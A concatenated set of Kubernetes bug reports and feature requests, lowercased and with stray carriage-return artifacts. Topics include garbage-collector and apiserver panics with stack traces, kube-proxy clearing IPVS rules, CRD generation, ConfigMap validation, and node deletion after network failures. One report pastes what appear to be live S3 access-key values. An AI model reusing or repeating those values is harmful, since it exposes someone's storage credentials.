readersem:0x0, readercount:0, readerwait:0}, dependents:map  garbagecollector.node struct {}{  garbagecollector.node  0xc420d948f0 :struct {}{}}, deletingdependents:false, deletingdependentslock:sync.rwmutex{w:sync.mutex{state:0, sema:0x0}, writersem:0x0, readersem:0x0, readercount:0, readerwait:0}, beingdeleted:false, beingdeletedlock:sync.rwmutex{w:sync.mutex{state:0, sema:0x0}, writersem:0x0, readersem:0x0, readercount:0, readerwait:0}, owners:  v1.ownerreference{v1.ownerreference{apiversion:\ example.controller.code-generator.k8s.io/v1alpha1\ , kind:\ nginx\ , name:\ example-nginx\ , uid:\ b3048820-9d8b-11e7-8313-fe3b1ff65647\ , controller:  bool  0xc42189e762 , blockownerdeletion:  bool  0xc42189e763 }}}: unable to get rest mapping for example.controller.code-generator.k8s.io/v1alpha1/nginx. if example.controller.code-generator.k8s.io/v1alpha1/nginx is a non-core resource  e.g. thirdparty resource, custom resource from aggregated apiserver , please note that the garbage collector doesn't support non-core resources yet. once they are supported, object with ownerreferences referring non-existing non-core objects will be deleted by the garbage collector. if example.controller.code-generator.k8s.io/v1alpha1/nginx is an invalid resource, then you should manually remove ownerreferences that refer example.controller.code-generator.k8s.io/v1alpha1/nginx objects.\r e0920 16:48:48.792422       1 runtime.go:66  observed a panic: &errors.errorstring{s:\ descriptor desc{fqname: \\\ garbage_collector_operation_example:controller:code-generator:k8s:io_v1alpha1_rate_limiter_use\\\ , help: \\\ a metric measuring the saturation of the rate limiter for garbage_collector_operation_example:controller:code-generator:k8s:io_v1alpha1\\\ , constlabels: {}, variablelabels:   } is invalid: \\\ garbage_collector_operation_example:controller:code-generator:k8s:io_v1alpha1_rate_limiter_use\\\  is not a valid metric name\ }  descriptor desc{fqname: \ garbage_collector_operation_example:controller:code-generator:k8s:io_v1alpha1_rate_limiter_use\ , help: \ a metric measuring the saturation of the rate limiter for garbage_collector_operation_example:controller:code-generator:k8s:io_v1alpha1\ , constlabels: {}, variablelabels:   } is invalid: \ garbage_collector_operation_example:controller:code-generator:k8s:io_v1alpha1_rate_limiter_use\  is not a valid metric name \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r /usr/local/go/src/runtime/asm_amd64.s:514\r /usr/local/go/src/runtime/panic.go:489\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/prometheus/client_golang/prometheus/registry.go:353\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/prometheus/client_golang/prometheus/registry.go:152\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/metrics/util.go:54\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/metrics/util.go:61\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/garbagecollector/rate_limiter_helper.go:57\r /usr/local/go/src/sync/once.go:44\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/garbagecollector/rate_limiter_helper.go:59\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/garbagecollector/operations.go:67\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/garbagecollector/garbagecollector.go:297\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/garbagecollector/garbagecollector.go:165\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/garbagecollector/garbagecollector.go:150\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/garbagecollector/garbagecollector.go:136\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:97\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:98\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52\r /usr/local/go/src/runtime/asm_amd64.s:2197\r panic: descriptor desc{fqname: \ garbage_collector_operation_example:controller:code-generator:k8s:io_v1alpha1_rate_limiter_use\ , help: \ a metric measuring the saturation of the rate limiter for garbage_collector_operation_example:controller:code-generator:k8s:io_v1alpha1\ , constlabels: {}, variablelabels:   } is invalid: \ garbage_collector_operation_example:controller:code-generator:k8s:io_v1alpha1_rate_limiter_use\  is not a valid metric name  recovered \r \tpanic: descriptor desc{fqname: \ garbage_collector_operation_example:controller:code-generator:k8s:io_v1alpha1_rate_limiter_use\ , help: \ a metric measuring the saturation of the rate limiter for garbage_collector_operation_example:controller:code-generator:k8s:io_v1alpha1\ , constlabels: {}, variablelabels:   } is invalid: \ garbage_collector_operation_example:controller:code-generator:k8s:io_v1alpha1_rate_limiter_use\  is not a valid metric name\r \r goroutine 1043  running :\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0x0, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x126\r panic 0x4225d00, 0xc421df6cc0 \r \t/usr/local/go/src/runtime/panic.go:489 +0x2cf\r k8s.io/kubernetes/vendor/github.com/prometheus/client_golang/prometheus.  registry .mustregister 0xc42039a3c0, 0xc421df6c60, 0x1, 0x1 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/prometheus/client_golang/prometheus/registry.go:353 +0x92\r k8s.io/kubernetes/vendor/github.com/prometheus/client_golang/prometheus.mustregister 0xc421df6c60, 0x1, 0x1 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/prometheus/client_golang/prometheus/registry.go:152 +0x53\r k8s.io/kubernetes/pkg/util/metrics.registerratelimitermetric 0xc421de4e10, 0x4d, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/metrics/util.go:54 +0x319\r k8s.io/kubernetes/pkg/util/metrics.registermetricandtrackratelimiterusage 0xc421de4e10, 0x4d, 0x8facfe0, 0xc421d0a2c0, 0x3, 0xc421de4e10 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/metrics/util.go:61 +0x39\r k8s.io/kubernetes/pkg/controller/garbagecollector.  registeredratelimiter .registerifnotpresent.func1  \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/garbagecollector/rate_limiter_helper.go:57 +0x223\r sync.  once .do 0xc4202b69d0, 0xc421dbb820 \r \t/usr/local/go/src/sync/once.go:44 +0xbe\r k8s.io/kubernetes/pkg/controller/garbagecollector.  registeredratelimiter .registerifnotpresent 0xc420332370, 0xc42167d440, 0x28, 0xc42167d469, 0x8, 0xc421cdd020, 0x4b30b50, 0x1b \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/garbagecollector/rate_limiter_helper.go:59 +0x13a\r k8s.io/kubernetes/pkg/controller/garbagecollector.  garbagecollector .getobject 0xc4200a00e0, 0xc42167d440, 0x31, 0xc4215f9268, 0x3, 0xc4215f9290, 0xb, 0xc421601ef0, 0x24, 0xc42189e4d8, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/garbagecollector/operations.go:67 +0x14b\r k8s.io/kubernetes/pkg/controller/garbagecollector.  garbagecollector .attempttodeleteitem 0xc4200a00e0, 0xc42108ac30, 0xc420e444c0, 0x47acd60 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/garbagecollector/garbagecollector.go:297 +0x136\r k8s.io/kubernetes/pkg/controller/garbagecollector.  garbagecollector .attempttodeleteworker 0xc4200a00e0, 0x50d800 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/garbagecollector/garbagecollector.go:165 +0xeb\r k8s.io/kubernetes/pkg/controller/garbagecollector.  garbagecollector .runattempttodeleteworker 0xc4200a00e0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/garbagecollector/garbagecollector.go:150 +0x2b\r k8s.io/kubernetes/pkg/controller/garbagecollector.  garbagecollector . k8s.io/kubernetes/pkg/controller/garbagecollector.runattempttodeleteworker -fm  \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/garbagecollector/garbagecollector.go:136 +0x2a\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1 0xc421b9db00 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:97 +0x5e\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0xc421b9db00, 0x3b9aca00, 0x0, 0x1, 0xc4200a5f80 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:98 +0xbd\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0xc421b9db00, 0x3b9aca00, 0xc4200a5f80 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x4d\r created by k8s.io/kubernetes/pkg/controller/garbagecollector.  garbagecollector .run\r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/garbagecollector/garbagecollector.go:136 +0x2e4\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  : v1.7.2+coreos.0\r - os  e.g. from /etc/os-release : coreos 1465.7.0\r - kernel  e.g.  uname -a  : 4.12.10-coreos\r - install tools:\r - others:\r

the service networks on each node can not communicate with each other.\r \r that's why?

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r @pires reported the bug.\r \r kube-proxy resets ipvs configuration even though  --mode=iptables \r \r on a node before ever running kube-proxy\r \r    \r $ toolbox ipvsadm -l\r ip virtual server version 1.2.1  size=4096 \r prot localaddress:port scheduler flags\r   -> remoteaddress:port           forward weight activeconn inactconn\r tcp  11.14.170.10:etcd-server wlc\r   -> vm-pb9g.c.massive-bliss-781. masq    1      0          0         \r   -> vm-wrk6.c.massive-bliss-781. masq    1      0          0         \r   -> vm-16sr.c.massive-bliss-781. masq    1      0          0         \r tcp  11.22.117.27:http wlc\r   -> vm-wrk6.c.massive-bliss-781. masq    1      0          0         \r tcp  11.53.156.194:sun-sr-https wlc\r   -> vm-pb9g.c.massive-bliss-781. masq    1      0          4         \r   -> vm-wrk6.c.massive-bliss-781. masq    1      0          3         \r   -> vm-16sr.c.massive-bliss-781. masq    1      0          3         \r tcp  11.193.111.100:etcd-client wlc\r   -> vm-pb9g.c.massive-bliss-781. masq    1      0          0         \r   -> vm-wrk6.c.massive-bliss-781. masq    1      0          0         \r   -> vm-16sr.c.massive-bliss-781. masq    1      0          0         \r tcp  11.244.244.158:cslistener wlc\r   -> vm-pb9g.c.massive-bliss-781. masq    1      0          0         \r   -> vm-wrk6.c.massive-bliss-781. masq    1      0          0         \r   -> vm-16sr.c.massive-bliss-781. masq    1      0          0         \r  ... \r    \r \r after running kube-proxy  --mode=iptables \r \r    \r $ toolbox ipvsadm -l\r ip virtual server version 1.2.1  size=4096 \r prot localaddress:port scheduler flags\r   -> remoteaddress:port           forward weight activeconn inactconn\r    \r \r   what you expected to happen  :\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r currently we assume only ipvs proxier will create ipvs rules, ipvs proxier will flush all ipvs rules when clean up.  users do this operation should be with caution. but, seems the comment message in codebase is not enough. we need to figure out how to fix it.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  \r cc @thockin @caseydavenport \r

what happened  :\r i'm using k8s v1.9.2 and trying to develop a customresourcedefinition controller. and i found that the crd's generation field, which is defined in crd.objectmeta.generation, consistently be 0 regardless of the changes of crd.spec.somefield.\r \r   what you expected to happen  :\r when crd.spec.somefield changed, the crd.generation should be incremented.\r \r   anything else we need to know?  :\r is this a normal behavior or means sth maybe wrongly configured in my k8s?\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.2\r - os  e.g. from /etc/os-release : centos 7\r - install tools: kubeadm

 using https://github.com/kubernetes-incubator/external-storage/tree/master/local-volume, if a block device is symlinked to the discovery directory e.g.  /mnt/local-storage/block-devices , then mapvolume will fail with \r  volume_path_handler_linux.go:75  failed device create command for path: /mnt/local-storage/block-devices/vdb exit status 1 losetup: /mnt/local-storage/block-devices/vdb: failed to set up loop device: no such file or directory  since the containerized kubelet cannot see the path on host.\r \r  /dev  is mounted by containerized kubelet, so if before we try to map the device we set devicepath to the evaluation of symlink  /mnt/local-storage/block-devices/vdb  and end up with a devicepath of  /dev/  , containerized kubelet will see the device and successfully map the device. are there any issues with this solution? this is on kubernetes 1.10\r @msau42 @???

is this a bug report or feature request?:  \r bug report\r   what happened:  \r when i save the configmap,it show errors message to save.the detail configmap info as below:\r    \r apiversion: v1\r data:\r   config: |\r     namespace: ci\r kind: configmap\r metadata:\r   annotations:\r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ v1\ ,\ data\ :{\ config\ :\ namespace: ci\ \ },\ kind\ :\ configmap\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ workflow-controller-configmap\ ,\ namespace\ :\ ci\ }}\r   creationtimestamp: 2018-10-09t10:57:42z\r   name: workflow-controller-configmap\r   namespace: ci\r   resourceversion: \ 14178\ \r   selflink: /api/v1/namespaces/ci/configmaps/workflow-controller-configmap\r   uid: 2535270b-cbb2-11e8-b28c-000c29541fa1\r artifactrepository:\r   s3:\r   bucket: argo\r   keyprefix: prefix/in/bucket  optional\r   endpoint: ceph-s3-front.cicd:7480\r   insecure: true\r   accesskeysecret:\r     name: fuf5is1xm27u81gt1j6b\r     key: ijmrlzequrcbthp7tqeddd94eibvefarqhfbtodw\r    \r \r and the error message is : \r    \r   configmaps \ workflow-controller-configmap\  was not valid:\r     : invalid value: \ the edited file failed validation\ : validationerror configmap : unknown field \ artifactrepository\  in io.k8s.api.core.v1.configmap\r    \r \r   what you expected to happen:  \r i expected edit configmap success.\r \r   environment:  \r \r   kubernetes version :  \r    \r  root@node128 nexus   kubectl version -o yaml\r clientversion:\r   builddate: 2018-08-07t23:17:28z\r   compiler: gc\r   gitcommit: bb9ffb1654d4a729bb4cec18ff088eacc153c239\r   gittreestate: clean\r   gitversion: v1.11.2\r   goversion: go1.10.3\r   major: \ 1\ \r   minor: \ 11\ \r   platform: linux/amd64\r serverversion:\r   builddate: 2018-09-09t17:53:03z\r   compiler: gc\r   gitcommit: a4529464e4629c21224b3d52edfe0ea91b072862\r   gittreestate: clean\r   gitversion: v1.11.3\r   goversion: go1.10.3\r   major: \ 1\ \r   minor: \ 11\ \r   platform: linux/amd64\r    \r \r

what happened  :\r occasionally when there is a network hiccup, a node is deleted from the k8s configuration.  when the network recovers, the kubelet service is stuck with \r kubelet_node_status.go:377  error updating node status, will retry: error getting node \ cicsk8s8\ : nodes \ cicsk8s8\  not found\r and from that point the node is unavailable\r when i restart kubelet, it recreates the node and sometimes it is deleted again almost immediately.  i will attach an example kubelet log\r \r   what you expected to happen  :\r the node not to be delete and the kubelet service to recover to normal operations after the network is back.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i am unable to to reproduce, happens rarely and inconsistently\r \r   anything else we need to know?  :\r using flannel as our network and using the openstack cloudprovider on some of the nodes,  but not the ones experiencing this problem.\r we have 2 nodes running under vmware,  3 on s390x and 3 under openstack.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.12.2\r - cloud provider or hardware configuration: we have 2 nodes running under vmware,  3 on s390x and 3 under openstack.\r using flannel as our network and using the openstack cloudprovider on some of the nodes,  but not the ones experiencing this problem.\r - os  e.g. from /etc/os-release : various, but the s390x versions experiencing this problem ar ubuntu 16.04 lts\r - kernel  e.g.  uname -a  : 4.4.0-130-generic\r - install tools: kubeadm 1.12.2\r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r   \r @kubernetes/sig-api-machinery-bugs \r \r /cc @sttts @liggitt \r \r   what happened  :\r \r out of some reason, the apiserver failed to response a get cr request within a timeout but when the server killed that request, its process crashed w/ following stacktraces:\r \r    \r e1216 20:50:23.729709       1 wrap.go:34  apiserver panic'd on get /apis/admissionregistration.k8s.io/v1beta1/mutatingwebhookconfigurations/istio-sidecar-injector: killing connection/stream because servin\r g request timed out and response had been started\r goroutine 2732242  running :\r runtime/debug.stack 0xb482880, 0xc5a19b18f0, 0x4fa18d9 \r         /usr/local/go/src/runtime/debug/stack.go:24 +0xa7\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withpanicrecovery.func1.1 0x440d700, 0xc420512340 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/wrap.go:34 +0x74\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0xc58b871cf0, 0x1, 0x1 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:54 +0xc8\r panic 0x440d700, 0xc420512340 \r         /usr/local/go/src/runtime/panic.go:491 +0x283\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  basetimeoutwriter .timeout 0xc5a1f8ebc0, 0xc5a8a859e0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:217 +0x190\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp 0xc428466e00, 0xb482880, 0xc5a19b18f0, 0xc5a8e31c00 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:101 +0x292\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withwaitgroup.func1 0xb482880, 0xc5a19b18f0, 0xc5a8e31c00 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/waitgroup.go:51 +0xeb\r net/http.handlerfunc.servehttp 0xc424e0f940, 0xb482880, 0xc5a19b18f0, 0xc5a8e31c00 \r         /usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withrequestinfo.func1 0xb482880, 0xc5a19b18f0, 0xc5a8e31c00 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/requestinfo.go:45 +0x20f\r net/http.handlerfunc.servehttp 0xc424e0f980, 0xb482880, 0xc5a19b18f0, 0xc5a8e31c00 \r         /usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request.withrequestcontext.func1 0xb482880, 0xc5a19b18f0, 0xc5a8e31c00 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request/requestcontext.go:110 +0xcb\r net/http.handlerfunc.servehttp 0xc428466e20, 0xb482880, 0xc5a19b18f0, 0xc5a8e31c00 \r         /usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withpanicrecovery.func1 0xb482880, 0xc5a19b18f0, 0xc5a8e31c00 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/wrap.go:41 +0x108\r net/http.handlerfunc.servehttp 0xc428466e40, 0xb4841c0, 0xc59f664170, 0xc5a8e31c00 \r         /usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  apiserverhandler .servehttp 0xc422ef45a0, 0xb4841c0, 0xc59f664170, 0xc5a8e31c00 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:197 +0x51\r net/http.serverhandler.servehttp 0xc42350a820, 0xb4841c0, 0xc59f664170, 0xc5a8e31c00 \r         /usr/local/go/src/net/http/server.go:2619 +0xb4\r ....\r \r \r goroutine 2731618  running :\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request.requestinfofrom 0x0, 0x0, 0x0, 0x44f958 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request/requestinfo.go:238 +0x22\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.contextbasednaming.namespace 0xc591ad6b70, 0x7f3cdb6651e0, 0xb8362f0, 0x0, 0xc552222390, 0x28, 0x0, 0x0, 0xc5a82c1500, 0x55199a1a644, ... \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/namer.go:70 +0x4f\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.  contextbasednaming .namespace 0xc584df4780, 0xc5a82c1500, 0xc584df4f80, 0xc5a5b3d4f0, 0x29, 0xc5522223c0 \r         <autogenerated>:1 +0x60\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.listresource.func1 0xb482800, 0xc599bc54a0, 0xc5a82c1500 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/get.go:170 +0x111\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics.instrumenthandlerfunc.func1 0x7f3cd1f118e8, 0xc5a269cc98, 0xc5a82c1500 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics/metrics.go:221 +0x1e0\r k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/apiserver.  crdhandler .servehttp 0xc420fac580, 0x7f3cd1f118e8, 0xc5a269cc98, 0xc5a82c1500 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/apiserver/customresource_handler.go:239 +0x5cd\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathhandler .servehttp 0xc424e0f540, 0x7f3cd1f118e8, 0xc5a269cc98, 0xc5a82c1500 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:248 +0x26d\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathrecordermux .servehttp 0xc420376150, 0x7f3cd1f118e8, 0xc5a269cc98, 0xc5a82c1500 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:234 +0xa1\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x4ea00eb, 0x17, 0xc420bf5c20, 0xc420376150, 0x7f3cd1f118e8, 0xc5a269cc98, 0xc5a82c1500 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:160 +0x6ad\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  director .servehttp 0xc420bf2d40, 0x7f3cd1f118e8, 0xc5a269cc98, 0xc5a82c1500 \r         <autogenerated>:1 +0x75\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathhandler .servehttp 0xc4294def00, 0x7f3cd1f118e8, 0xc5a269cc98, 0xc5a82c1500 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:254 +0x407\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathrecordermux .servehttp 0xc4205c75e0, 0x7f3cd1f118e8, 0xc5a269cc98, 0xc5a82c1500 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:234 +0xa1\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x4e7605f, 0xe, 0xc420c14990, 0xc4205c75e0, 0x7f3cd1f118e8, 0xc5a269cc98, 0xc5a82c1500 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:160 +0x6ad\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  director .servehttp 0xc421168020, 0x7f3cd1f118e8, 0xc5a269cc98, 0xc5a82c1500 \r         <autogenerated>:1 +0x75\r k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apiserver.  proxyhandler .servehttp 0xc42cb7ec00, 0x7f3cd1f118e8, 0xc5a269cc98, 0xc5a82c1500 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apiserver/handler_proxy.go:93 +0x18a\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathhandler .servehttp 0xc5a84aa180, 0x7f3cd1f118e8, 0xc5a269cc98, 0xc5a82c1500 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:248 +0x26d\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathrecordermux .servehttp 0xc424b38070, 0x7f3cd1f118e8, 0xc5a269cc98, 0xc5a82c1500 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:234 +0xa1\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x4e79ee3, 0xf, 0xc427122fc0, 0xc424b38070, 0x7f3cd1f118e8, 0xc5a269cc98, 0xc5a82c1500 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:160 +0x6ad\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  director .servehttp 0xc428466d60, 0x7f3cd1f118e8, 0xc5a269cc98, 0xc5a82c1500 \r         <autogenerated>:1 +0x75\r    \r \r the crux is that the context  which is provisioned by request  will be nil when the timeout filter kills the inactive requests:\r  https://github.com/kubernetes/kubernetes/blob/c7ea1c7bef26561aaaabc56bb85ffc07685fa456/staging/src/k8s.io/apiserver/pkg/endpoints/request/requestinfo.go l262  https://github.com/kubernetes/kubernetes/blob/c7ea1c7bef26561aaaabc56bb85ffc07685fa456/staging/src/k8s.io/apiserver/pkg/endpoints/request/requestinfo.go l262 \r \r happens on release-1.10\r

with runtimeclass users now tend to have heterogeneous runtimes across clusters, we might want to make the scheduler runtime-aware to determine if node can host a pod requiring a specific runtime/runtimeclass.\r \r this has the benefit to abstract topology knowledge of the cluster to end-users.\r \r cc @bsalamat @tallclair \r \r /assign\r  / 

currently the fuzzer does not apply the defaulting functions, which means that any defaulted fields need to be specially fuzzed to avoid a diff when an object is round-tripped.  the fuzzer should apply the defaulting functions and we should take out the custom fuzzing handlers that exist solely to fuzz default fields.

